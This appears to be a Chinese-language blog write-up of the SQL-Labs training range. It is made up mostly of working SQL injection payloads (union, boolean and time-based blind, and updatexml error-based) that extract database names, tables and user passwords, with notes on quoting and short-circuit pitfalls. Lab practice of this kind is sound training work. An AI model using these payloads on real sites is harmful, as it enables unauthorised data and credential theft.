SQL-Labs 通关总结与注入手法复盘

好久没写博客了。最近打 CTF 发现理论知识够用,但实操欠缺,于是回头重刷 SQL 靶场。以下是 SQL-Labs 的部分总结,记录思路、语法和踩坑点。

Less 1–4:联合查询注入(Union)

基础探测

?id=1' and 1=1 --+
?id=1' order by 4--+          -- 判断字段数

联合查询爆库

?id=-1' union select 1,database(),1 --+
-- 返回:security

爆表名

?id=-1' union select 1,group_concat(table_name),1 
from information_schema.tables 
where table_schema='security' --+
-- 返回:emails,referers,uagents,users

爆字段

?id=-1' union select 1,group_concat(column_name),1 
from information_schema.columns 
where table_schema='security' and table_name='users' --+
-- 返回:id,username,password

脱数据

?id=-1' union select 1,group_concat(password),1 
from security.users --+

小结:1–4 关主要练习 union select 的手工注入,必须保证联合查询的字段数与原始查询一致,加深对联合查询语法和 information_schema 的理解。


Less 5–8:布尔盲注

判断数据库名(逐字符爆破)

?id=1' and ascii(substr(database(),1,1))>130 --+
  • 根据页面回显(如 You are in)判断真假,逐个字符猜解。

延时注入(无回显时的替代)

?id=1' and if((ascii(substr(database(),1,1))>130), sleep(1), 1) --+
  • 适用于页面完全无差异的情况,通过响应时间判断。

爆表名(布尔)

?id=1' and ascii(substr(
    (select table_name from information_schema.tables 
     where table_schema='security' limit 1,1), 1, 1)) > 100 --+

爆字段(布尔)

?id=1' and ascii(substr(
    (select column_name from information_schema.columns 
     where table_schema='security' and table_name='users' limit 1,1), 1, 1)) > 100 --+

延时脱数据

?id=1' and if(
    ascii(substr((select password from security.users limit 1,1), 1, 1)) > 10,
    sleep(1), 1) --+

小结:5–8 关是布尔盲注的经典练习,同时可思考如何编写脚本实现自动化二分查找。


Less 9–10:纯时间盲注

  • 页面没有任何回显差异(无论对错,显示相同),只能用延时判断。
  • 先测试基础延时:

    ?id=1' and 1=2 --+          -- 无差异
    ?id=1' and sleep(1) --+     -- 出现延时

延时注入示例

?id=1' and if((ascii(substr(database(),1,1))>130), sleep(1), 1) --+

Python 脚本思路:利用 time 库和 try...except 捕获超时,判断延时是否发生。

小结:9–10 关与前面盲注逻辑类似,重点在于掌握基础语法并尝试写脚本实现自动化。


Less 11–17:POST 注入

通用注意事项

  • POST 注入,注意表单提交的数据格式。
  • 建议使用 Burp Suite 重放,不要用浏览器的 URL 编码思维,直接写原始 payload。
  • 注释符:多用 #%23,少用 --+(Burp 可能美化处理导致失败)。

探测闭合方式与布尔判断

uname=0' order by 3# &passwd=1&submit=Submit
  • and 1=1/2# 看页面返回差异(布尔盲注)。

延时注入中的逻辑坑(重点)

场景:1' and if(...) #

WHERE (username='1') AND ( if((1=1), sleep(1), 1) )
  • MySQL 短路求值:若 username='1' 为假,后面 if(sleep()) 不会执行,页面无延时。

正确姿势:使用 OR

1' or if((1=1), sleep(1), 1) #
WHERE (username='1') OR ( if((1=1), sleep(1), 1) )
  • 因为 OR 左侧为假,右侧才会执行,延时生效。

结论:进行布尔或时间判断时,优先使用 ORXOR,且 Payload 中注释符推荐用 #%23


联合查询爆库(POST)

uname=1' union select database(),1 --  &passwd=1&submit=Submit

爆表

uname=1' union select group_concat(table_name),1 
from information_schema.tables 
where table_schema='security'--  &passwd=1&submit=Submit

Less 12

闭合方式:")

uname=1") or sleep(1)# &passwd=1&submit=Submit

Less 13

闭合方式:'),支持报错注入

报错注入函数

  • updatexml()updatexml(任意数, 要执行的查询, 任意数)
  • extractvalue():类似用法
  • floor() + rand() + group by(会随机失败,多试几次即可)

报错注入示例(Less 13)

uname=1' or updatexml(1, concat(0x7e, database(), 0x7e), 1) # &passwd=1&submit=Submit

为什么要用 concat~(0x7e)?

  • updatexml 第二个参数要求合法 XML 路径,~ 不合法,导致 MySQL 报错并将拼接结果 ~security~ 打印出来。
  • 若直接写 database(),字符串合法,不会触发报错,无法获取数据。

多表查询报错

uname=1') and updatexml(1, concat(0x7e,
    (select group_concat(table_name) 
     from information_schema.tables 
     where table_schema=database()), 0x7e), 1) --  &passwd=1&submit=Submit

Less 14

闭合:"

uname=1" or sleep(1)# &passwd=1&submit=Submit

Less 15

闭合:',无报错回显 → 只能盲注

uname=1' or sleep(1)# &passwd=1&submit=Submit

Less 16

闭合:"),同样盲注

uname=1") or sleep(1)# &passwd=1&submit=Submit

tip:15、16 关没有数据库错误输出,只能将 GET 盲注的逻辑搬到 POST 中,用布尔或时间判断逐字爆破。


整体心得

  • 熟练手工注入是基础,脚本自动化能大幅提升效率。
  • 注意闭合方式('"')"))和注释符的选择。
  • 延时注入时,务必考虑 MySQL 短路求值,选择合适的逻辑运算符(OR / XOR)。
  • 报错注入中,concat 搭配非法字符是常规技巧。